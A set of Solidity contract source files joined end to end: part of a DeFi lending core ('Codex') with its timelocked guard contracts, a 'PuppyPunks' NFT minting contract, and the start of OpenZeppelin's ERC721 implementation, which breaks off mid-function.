uint256 indexed tokenId,
address indexed user,
int256 amount,
uint256 balance
);
event TransferBalance(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
uint256 amount,
uint256 srcBalance,
uint256 dstBalance
);
event TransferCredit(
address indexed src,
address indexed dst,
uint256 amount,
uint256 srcCredit,
uint256 dstCredit
);
event ModifyCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event TransferCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event ConfiscateCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event SettleUnbackedDebt(address indexed debtor, uint256 debt);
event CreateUnbackedDebt(address indexed debtor, address indexed creditor, uint256 debt);
event ModifyRate(address indexed vault, address indexed creditor, int256 deltaRate);
event Lock();
constructor() Guarded() {
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
function init(address vault) external override checkCaller {
if (vaults[vault].rate != 0) revert Codex__init_vaultAlreadyInit();
vaults[vault].rate = WAD;
emit Init(vault);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "globalDebtCeiling") globalDebtCeiling = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "debtCeiling") vaults[vault].debtCeiling = data;
else if (param == "debtFloor") vaults[vault].debtFloor = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// ======== Caller Delegation ======== ///
/// @notice Grants the delegatee the ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function grantDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 1;
emit GrantDelegate(msg.sender, delegatee);
}
/// @notice Revokes the delegatee's ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function revokeDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 0;
emit RevokeDelegate(msg.sender, delegatee);
}
/// @notice Checks the delegate
/// @param delegator Address of the delegator
/// @param delegatee Address of the delegatee
/// @return True if delegate is granted
function hasDelegate(address delegator, address delegatee) internal view returns (bool) {
return delegator == delegatee || delegates[delegator][delegatee] == 1;
}
/// ======== Credit and Token Balance Administration ======== ///
/// @notice Updates the token balance for a `user`
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param amount Amount to add (positive) or subtract (negative) [wad]
function modifyBalance(
address vault,
uint256 tokenId,
address user,
int256 amount
) external override checkCaller {
balances[vault][tokenId][user] = add(balances[vault][tokenId][user], amount);
emit ModifyBalance(vault, tokenId, user, amount, balances[vault][tokenId][user]);
}
/// @notice Transfer an `amount` of tokens from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferBalance_notAllowed();
balances[vault][tokenId][src] = sub(balances[vault][tokenId][src], amount);
balances[vault][tokenId][dst] = add(balances[vault][tokenId][dst], amount);
emit TransferBalance(
vault,
tokenId,
src,
dst,
amount,
balances[vault][tokenId][src],
balances[vault][tokenId][dst]
);
}
/// @notice Transfer an `amount` of Credit from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferCredit(
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferCredit_notAllowed();
credit[src] = sub(credit[src], amount);
credit[dst] = add(credit[dst], amount);
emit TransferCredit(src, dst, amount, credit[src], credit[dst]);
}
/// ======== Position Administration ======== ///
/// @notice Modifies a Position's collateral and debt balances
/// @dev Checks that the global debt ceiling and the vault's debt ceiling have not been exceeded,
/// that the Position is still safe after the modification,
/// that the sender is delegated by the owner if the collateral-to-debt ratio decreased,
/// that the sender is delegated by the collateralizer if new collateral is put up,
/// that the sender is delegated by the creditor if debt is settled,
/// and that the vault debt floor is exceeded
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param creditor Address of who provides or receives the credit delta for the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
// system is live
if (live == 0) revert Codex__modifyCollateralAndDebt_notLive();
Position memory p = positions[vault][tokenId][user];
Vault memory v = vaults[vault];
// vault has been initialised
if (v.rate == 0) revert Codex__modifyCollateralAndDebt_vaultNotInit();
p.collateral = add(p.collateral, deltaCollateral);
p.normalDebt = add(p.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
uint256 debt = wmul(v.rate, p.normalDebt);
globalDebt = add(globalDebt, deltaDebt);
// either debt has decreased, or debt ceilings are not exceeded
if (deltaNormalDebt > 0 && (wmul(v.totalNormalDebt, v.rate) > v.debtCeiling || globalDebt > globalDebtCeiling))
revert Codex__modifyCollateralAndDebt_ceilingExceeded();
// position is either less risky than before, or it is safe
if (
(deltaNormalDebt > 0 || deltaCollateral < 0) &&
debt > wmul(p.collateral, IVault(vault).fairPrice(tokenId, true, false))
) revert Codex__modifyCollateralAndDebt_notSafe();
// position is either more safe, or the owner consents
if ((deltaNormalDebt > 0 || deltaCollateral < 0) && !hasDelegate(user, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedSender();
// collateralizer consents if new collateral is put up
if (deltaCollateral > 0 && !hasDelegate(collateralizer, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
// creditor consents if debt is settled with credit
if (deltaNormalDebt < 0 && !hasDelegate(creditor, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedDebtor();
// position has no debt, or a non-dusty amount
if (p.normalDebt != 0 && debt < v.debtFloor) revert Codex__modifyCollateralAndDebt_debtFloor();
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
credit[creditor] = add(credit[creditor], deltaDebt);
positions[vault][tokenId][user] = p;
vaults[vault] = v;
emit ModifyCollateralAndDebt(vault, tokenId, user, collateralizer, creditor, deltaCollateral, deltaNormalDebt);
}
/// @notice Transfers a Position's collateral and debt balances to another Position
/// @dev Checks that the sender is delegated by `src` and `dst` Position owners,
/// that the `src` and `dst` Positions are still safe after the transfer,
/// and that the `src` and `dst` Positions' debt exceed the vault's debt floor
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src Address of the `src` Positions owner
/// @param dst Address of the `dst` Positions owner
/// @param deltaCollateral Amount of collateral to send to (+) or from (-) the `src` Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to send to (+) or
/// from (-) the `dst` Position [wad]
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
Position storage pSrc = positions[vault][tokenId][src];
Position storage pDst = positions[vault][tokenId][dst];
Vault storage v = vaults[vault];
pSrc.collateral = sub(pSrc.collateral, deltaCollateral);
pSrc.normalDebt = sub(pSrc.normalDebt, deltaNormalDebt);
pDst.collateral = add(pDst.collateral, deltaCollateral);
pDst.normalDebt = add(pDst.normalDebt, deltaNormalDebt);
uint256 debtSrc = wmul(pSrc.normalDebt, v.rate);
uint256 debtDst = wmul(pDst.normalDebt, v.rate);
// both sides consent
if (!hasDelegate(src, msg.sender) || !hasDelegate(dst, msg.sender))
revert Codex__transferCollateralAndDebt_notAllowed();
// both sides safe
if (debtSrc > wmul(pSrc.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeSrc();
if (debtDst > wmul(pDst.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeDst();
// both sides non-dusty
if (pSrc.normalDebt != 0 && debtSrc < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorSrc();
if (pDst.normalDebt != 0 && debtDst < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorDst();
emit TransferCollateralAndDebt(vault, tokenId, src, dst, deltaCollateral, deltaNormalDebt);
}
/// @notice Confiscates a Position's collateral and debt balances
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param debtor Address of who provides or receives the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override checkCaller {
Position storage position = positions[vault][tokenId][user];
Vault storage v = vaults[vault];
position.collateral = add(position.collateral, deltaCollateral);
position.normalDebt = add(position.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
unbackedDebt[debtor] = sub(unbackedDebt[debtor], deltaDebt);
globalUnbackedDebt = sub(globalUnbackedDebt, deltaDebt);
emit ConfiscateCollateralAndDebt(
vault,
tokenId,
user,
collateralizer,
debtor,
deltaCollateral,
deltaNormalDebt
);
}
/// ======== Unbacked Debt ======== ///
/// @notice Settles unbacked debt with the sender's credit
/// @dev Reverts if the sender does not have sufficient credit available to settle the debt
/// @param debt Amount of debt to settle [wawd]
function settleUnbackedDebt(uint256 debt) external override {
address debtor = msg.sender;
unbackedDebt[debtor] = sub(unbackedDebt[debtor], debt);
credit[debtor] = sub(credit[debtor], debt);
globalUnbackedDebt = sub(globalUnbackedDebt, debt);
globalDebt = sub(globalDebt, debt);
emit SettleUnbackedDebt(debtor, debt);
}
/// @notice Create unbacked debt / credit
/// @dev Sender has to be allowed to call this method
/// @param debtor Address of the account who takes the unbacked debt
/// @param creditor Address of the account who gets the credit
/// @param debt Amount of unbacked debt / credit to generate [wad]
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external override checkCaller {
unbackedDebt[debtor] = add(unbackedDebt[debtor], debt);
credit[creditor] = add(credit[creditor], debt);
globalUnbackedDebt = add(globalUnbackedDebt, debt);
globalDebt = add(globalDebt, debt);
emit CreateUnbackedDebt(debtor, creditor, debt);
}
/// ======== Debt Interest Rates ======== ///
/// @notice Updates the rate value and collects the accrued interest for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the vault
/// @param creditor Address of the account who gets the accrued interest
/// @param deltaRate Delta to increase (+) or decrease (-) the rate [percentage in wad]
function modifyRate(
address vault,
address creditor,
int256 deltaRate
) external override checkCaller {
if (live == 0) revert Codex__modifyRate_notLive();
Vault storage v = vaults[vault];
v.rate = add(v.rate, deltaRate);
int256 wad = wmul(v.totalNormalDebt, deltaRate);
credit[creditor] = add(credit[creditor], wad);
globalDebt = add(globalDebt, wad);
emit ModifyRate(vault, creditor, deltaRate);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}
interface IGuard {
function isGuard() external view returns (bool);
}
contract Delayed {
error Delayed__setParam_notDelayed();
error Delayed__delay_invalidEta();
error Delayed__execute_unknown();
error Delayed__execute_stillDelayed();
error Delayed__execute_executionError();
mapping(bytes32 => bool) public queue;
uint256 public delay;
event SetParam(bytes32 param, uint256 data);
event Queue(address target, bytes data, uint256 eta);
event Unqueue(address target, bytes data, uint256 eta);
event Execute(address target, bytes data, uint256 eta);
constructor(uint256 delay_) {
delay = delay_;
emit SetParam("delay", delay_);
}
function _setParam(bytes32 param, uint256 data) internal {
if (param == "delay") delay = data;
emit SetParam(param, data);
}
function _delay(
address target,
bytes memory data,
uint256 eta
) internal {
if (eta < block.timestamp + delay) revert Delayed__delay_invalidEta();
queue[keccak256(abi.encode(target, data, eta))] = true;
emit Queue(target, data, eta);
}
function _skip(
address target,
bytes memory data,
uint256 eta
) internal {
queue[keccak256(abi.encode(target, data, eta))] = false;
emit Unqueue(target, data, eta);
}
function execute(
address target,
bytes calldata data,
uint256 eta
) external returns (bytes memory out) {
bytes32 callHash = keccak256(abi.encode(target, data, eta));
if (!queue[callHash]) revert Delayed__execute_unknown();
if (block.timestamp < eta) revert Delayed__execute_stillDelayed();
queue[callHash] = false;
bool ok;
(ok, out) = target.call(data);
if (!ok) revert Delayed__execute_executionError();
emit Execute(target, data, eta);
}
}
abstract contract BaseGuard is Delayed, IGuard {
/// ======== Custom Errors ======== ///
error BaseGuard__isSenatus_notSenatus();
error BaseGuard__isGuardian_notGuardian();
error BaseGuard__isDelayed_notSelf(address, address);
error BaseGuard__inRange_notInRange();
/// ======== Storage ======== ///
/// @notice Address of the DAO
address public senatus;
/// @notice Address of the guardian
address public guardian;
constructor(
address senatus_,
address guardian_,
uint256 delay
) Delayed(delay) {
senatus = senatus_;
guardian = guardian_;
}
modifier isSenatus() {
if (msg.sender != senatus) revert BaseGuard__isSenatus_notSenatus();
_;
}
modifier isGuardian() {
if (msg.sender != guardian) revert BaseGuard__isGuardian_notGuardian();
_;
}
modifier isDelayed() {
if (msg.sender != address(this)) revert BaseGuard__isDelayed_notSelf(msg.sender, address(this));
_;
}
/// @notice Callback method which allows Guard to check if he has sufficient rights over the corresponding contract
/// @return bool True if he has sufficient rights
function isGuard() external view virtual override returns (bool);
/// @notice Updates the address of senatus
/// @dev Can only be called by Senatus
/// @param senatus_ Address of the new senatus
function setSenatus(address senatus_) external isSenatus {
senatus = senatus_;
}
/// @notice Updates the address of the guardian
/// @dev Can only be called by Senatus
/// @param guardian_ Address of the new guardian
function setGuardian(address guardian_) external isSenatus {
guardian = guardian_;
}
/// ======== Capabilities ======== ///
/// @notice Updates the time which has to elapse for certain parameter updates
/// @dev Can only be called by Senatus
/// @param delay Time which has to elapse before parameter can be updated [seconds]
function setDelay(uint256 delay) external isSenatus {
_setParam("delay", delay);
}
/// @notice Schedule method call for methods which have to be delayed
/// @dev Can only be called by the guardian
/// @param data Call data
function schedule(bytes calldata data) external isGuardian {
_delay(address(this), data, block.timestamp + delay);
}
/// ======== Helper Methods ======== ///
/// @notice Checks if `value` is at least equal to `min_` or at most equal to `max`
/// @dev Revers if check failed
/// @param value Value to check
/// @param min_ Min. value for `value`
/// @param max Max. value for `value`
function _inRange(
uint256 value,
uint256 min_,
uint256 max
) internal pure {
if (max < value || value < min_) revert BaseGuard__inRange_notInRange();
}
}
/// @title CodexGuard
/// @notice Contract which guards parameter updates for `Codex`
contract CodexGuard is BaseGuard {
/// ======== Custom Errors ======== ///
error CodexGuard__isGuard_cantCall();
error CodexGuard__addDebtCeilingAdjuster_invalidDelay();
/// ======== Storage ======== ///
struct DebtCeilingAdjuster {
// Max. ceiling possible [wad]
uint256 maxDebtCeiling;
// Max. value between current debt and maxDebtCeiling to be set [wad]
uint256 maxDelta;
// Min. time to pass before a new increase [seconds]
uint48 delay;
// Last block the ceiling was updated [blocks]
uint48 last;
// Last time the ceiling was increased compared to its previous value [seconds]
uint48 lastInc;
}
/// @notice Map of states defining the conditions according to which a vaults debt ceiling can be updated
/// Address of Vault => DebtCeilingAdjuster
mapping(address => DebtCeilingAdjuster) public debtCeilingAdjusters;
/// @notice Address of Codex
Codex public immutable codex;
constructor(
address senatus,
address guardian,
uint256 delay,
address codex_
) BaseGuard(senatus, guardian, delay) {
codex = Codex(codex_);
}
/// @notice See `BaseGuard`
function isGuard() external view override returns (bool) {
if (!codex.canCall(codex.ANY_SIG(), address(this))) revert CodexGuard__isGuard_cantCall();
return true;
}
/// ======== Capabilities ======== ///
/// @notice Updates the debt ceiling adjuster function for a vault
/// @dev Can only be called by Senatus
/// @param vault Address of the vault for which to set the adjuster
/// @param maxDelta Max. amount by which the vaults debt ceiling can be adjusted at a given time [wad]
/// @param delay Min. time between debt ceiling adjustments [seconds]
function setDebtCeilingAdjuster(
address vault,
uint256 maxDebtCeiling,
uint256 maxDelta,
uint256 delay
) external isSenatus {
if (maxDebtCeiling == 0) maxDebtCeiling = 10_000_000 * WAD;
if (delay >= type(uint48).max) revert CodexGuard__addDebtCeilingAdjuster_invalidDelay();
debtCeilingAdjusters[vault] = DebtCeilingAdjuster(maxDebtCeiling, maxDelta, uint48(delay), 0, 0);
}
/// @notice Removes the debt ceiling adjuster for a vault
/// @dev Can only be called by Senatus
/// @param vault Address of the vault for which to remove the debt ceiling adjuster
function removeDebtCeilingAdjuster(address vault) external isSenatus {
delete debtCeilingAdjusters[vault];
}
/// @notice Sets the `debtceiling` parameter on Codex
/// @dev Can only be called by the guardian. Checks if the value is in the allowed range.
/// @param vault Address of the vault for which to adjust the debt ceiling
function setDebtCeiling(address vault) external returns (uint256) {
(uint256 totalNormalDebt, uint256 rate, uint256 currentDebtCeiling, ) = codex.vaults(vault);
DebtCeilingAdjuster memory dca = debtCeilingAdjusters[vault];
// return if the vault is not enabled
if (dca.maxDebtCeiling == 0) return currentDebtCeiling;
// return if there was already an update in the same block
if (dca.last == block.number) return currentDebtCeiling;
// calculate debt
uint256 debt = wmul(totalNormalDebt, rate);
// calculate new debtCeiling based on the minimum between maxDebtCeiling and actual debt + maxDelta
uint256 debtCeiling = min(add(debt, dca.maxDelta), dca.maxDebtCeiling);
// short-circuit if there wasn't an update or if the time since last increment has not passed
if (
debtCeiling == currentDebtCeiling ||
(debtCeiling > currentDebtCeiling && block.timestamp < add(dca.lastInc, dca.delay))
) return currentDebtCeiling;
// set debt ceiling
codex.setParam(vault, "debtCeiling", debtCeiling);
// set global debt ceiling
codex.setParam("globalDebtCeiling", add(sub(codex.globalDebtCeiling(), currentDebtCeiling), debtCeiling));
// update lastInc if it is an increment in the debt ceiling
// and update last whatever the update is
if (debtCeiling > currentDebtCeiling) {
debtCeilingAdjusters[vault].lastInc = uint48(block.timestamp);
debtCeilingAdjusters[vault].last = uint48(block.number);
} else {
debtCeilingAdjusters[vault].last = uint48(block.number);
}
return debtCeiling;
}
/// @notice Sets the `debtFloor` parameter on Codex
/// @dev Can only be called by the guardian. Checks if the value is in the allowed range.
/// @param vault Vault for which to set the parameter
/// @param debtFloor See. Codex
/// @param collateralAuctions Impacted CollateralAuction's for which `updateAuctionDebtFloor` has to be triggered
function setDebtFloor(
address vault,
uint256 debtFloor,
address[] calldata collateralAuctions
) external isGuardian {
_inRange(debtFloor, 0, 10_000 * WAD);
codex.setParam(vault, "debtFloor", debtFloor);
// update auctionDebtFloor for the provided collateral auction contracts
for (uint256 i = 0; i < collateralAuctions.length; i++) {
INoLossCollateralAuction(collateralAuctions[i]).updateAuctionDebtFloor(vault);
}
}
}
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|
// SPDX-License-Identifier: MIT
/*
/$$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$$$$$
| $$__ $$| $$ | $$| $$__ $$| $$__ $$| $$ /$$/ | $$__ $$| $$ | $$| $$$ | $$| $$ /$$/ /$$__ $$
| $$ \ $$| $$ | $$| $$ \ $$| $$ \ $$ \ $$ /$$/ | $$ \ $$| $$ | $$| $$$$| $$| $$ /$$/ | $$ \__/
| $$$$$$$/| $$ | $$| $$$$$$$/| $$$$$$$/ \ $$$$/ | $$$$$$$/| $$ | $$| $$ $$ $$| $$$$$/ | $$$$$$
| $$____/ | $$ | $$| $$____/ | $$____/ \ $$/ | $$____/ | $$ | $$| $$ $$$$| $$ $$ \____ $$
| $$ | $$ | $$| $$ | $$ | $$ | $$ | $$ | $$| $$\ $$$| $$\ $$ /$$ \ $$
| $$ | $$$$$$/| $$ | $$ | $$ | $$ | $$$$$$/| $$ \ $$| $$ \ $$| $$$$$$/
|__/ \______/ |__/ |__/ |__/ |__/ \______/ |__/ \__/|__/ \__/ \______/
============================================== PUPPYPUNKS.CLUB ==============================================
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title PuppyPunks
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract PuppyPunks is ERC721, Ownable {
bool public saleIsActive = false;
string private _baseURIextended;
address payable public immutable shareholderAddress;
string public PROVENANCE;
uint256 public publicTokenPrice = 0.015 ether;
uint public maxPerTx = 5;
uint public maxFreeMintPerWallet = 15;
uint public amountAvailableFreeMint = 1000;
uint public maxSupply = 3000;
mapping(address => uint) public addressFreeMinted;
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
constructor(address payable shareholderAddress_) ERC721("Puppy Punks", "PUPPY") {
require(shareholderAddress_ != address(0));
shareholderAddress = shareholderAddress_;
}
function totalSupply() public view returns (uint256 supply) {
return _tokenSupply.current();
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
_baseURIextended = baseURI_;
}
function setProvenance(string memory provenance) public onlyOwner {
PROVENANCE = provenance;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function setSaleState(bool newState) public onlyOwner {
saleIsActive = newState;
}
function isSaleActive() external view returns (bool) {
return saleIsActive;
}
function updatePublicPrice(uint256 newPrice) public onlyOwner {
publicTokenPrice = newPrice;
}
function mint(uint numberOfTokens) external payable {
require(saleIsActive, "Sale is inactive.");
require(numberOfTokens <= maxPerTx, "You can only mint 5 at a time.");
require(_tokenSupply.current() + numberOfTokens <= maxSupply, "Purchase would exceed max supply of tokens");
if (_tokenSupply.current() + numberOfTokens > amountAvailableFreeMint) {
require((publicTokenPrice * numberOfTokens) == msg.value, "Don't send over or under (in ETH).");
} else {
require(msg.value == 0, "Don't send ether for the free mint.");
require(addressFreeMinted[msg.sender] < maxFreeMintPerWallet, "You can only adopt 15 free puppies per wallet. Wait for the paid adoption.");
}
addressFreeMinted[msg.sender] += numberOfTokens;
for(uint i = 0; i < numberOfTokens; i++) {
uint256 _tokenId = _tokenSupply.current() + 1;
_safeMint(msg.sender, _tokenId);
_tokenSupply.increment();
}
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
Address.sendValue(shareholderAddress, balance);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
